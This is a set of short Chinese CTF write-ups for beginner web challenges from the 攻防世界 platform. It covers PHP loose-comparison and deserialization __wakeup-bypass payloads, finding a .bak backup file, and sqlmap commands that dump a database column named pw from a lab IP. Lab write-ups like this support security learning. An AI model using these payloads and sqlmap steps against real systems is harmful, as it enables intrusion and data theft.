代码审计
simple_php
-
来源:攻防世界
-
考点:php代码审计之数字与字符串的比较
-
工具:手工
-
难度:⭐
-
分析过程
-
打开场景,分析代码
-
构造payload:?a="0"&b=12345s
-
反序列化
unserialize3
-
来源:攻防世界
-
考点:php反序列化漏洞、__wakeup()函数的绕过机制
-
工具:手工
-
难度:⭐
-
分析过程
-
看到题目“unserialize3”知道是序列化方向,访问靶场看到代码,确定是php反序列化;
-
代码审计:类——xctf,成员变量——flag=“111”,方法——__wakeup(退出程序)。题目的意思,让我们绕过__wakeup方法,将序列化之后的字符串通过code变量传递;
-
如何绕过
- php序列化之后的格式 数据类型:名称长度:[名称]:成员个数:[具体成员] #具体成员也遵循这个格式,每个成员以分号结尾 O:4:"xctf":2:{s:4:"flag";s:3:"111";} #序列化不关心方法 - __wakeup()函数 如果一个类中有__wakeup函数,反序列化该类时,会首先执行这个函数;而题目中这个函数的功能是退出程序,因此需要绕过。 如果序列化得到的数据中,成员个数大于了真实的成员个数,就不会执行__wakeup函数。 - 构造payload ?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}
-
提交payload,获得flag
-
目录扫描
backup
-
来源:攻防世界
-
考点:掌握常见的备份文件后缀名(.bak .swp .git .svn .bash_history .~)、目录扫描
-
工具
-
难度:⭐
-
分析过程
-
打开题目场景:获得关键信息(扫描index.php的备份文件)
-
猜测是否为index.php.bak,访问/index.php.bak,直接自动下载文件
-
打开之后,获得flag
-
Web漏洞
inget
-
来源:攻防世界
-
考点:SQL注入
-
工具:sqlmap
-
难度:⭐
-
分析过程
-
根据提示,输入id,并猜测这是SQL注入
-
利用sqlmap进行注入,看到注入成功
-
获取当前数据库:python sqlmap.py -u "http://61.147.171.105:58822/?id=1" --current-db
-
获取cyber中的表:python sqlmap.py -u "http://61.147.171.105:58822/?id=1" -D "cyber" --tables
-
获取表中的字段:python sqlmap.py -u "http://61.147.171.105:58822/?id=1" -D "cyber" -T "cyber" --columns
-
获取数据:python sqlmap.py -u "http://61.147.171.105:58822/?id=1" -D "cyber" -T "cyber" -C "pw" --dump
-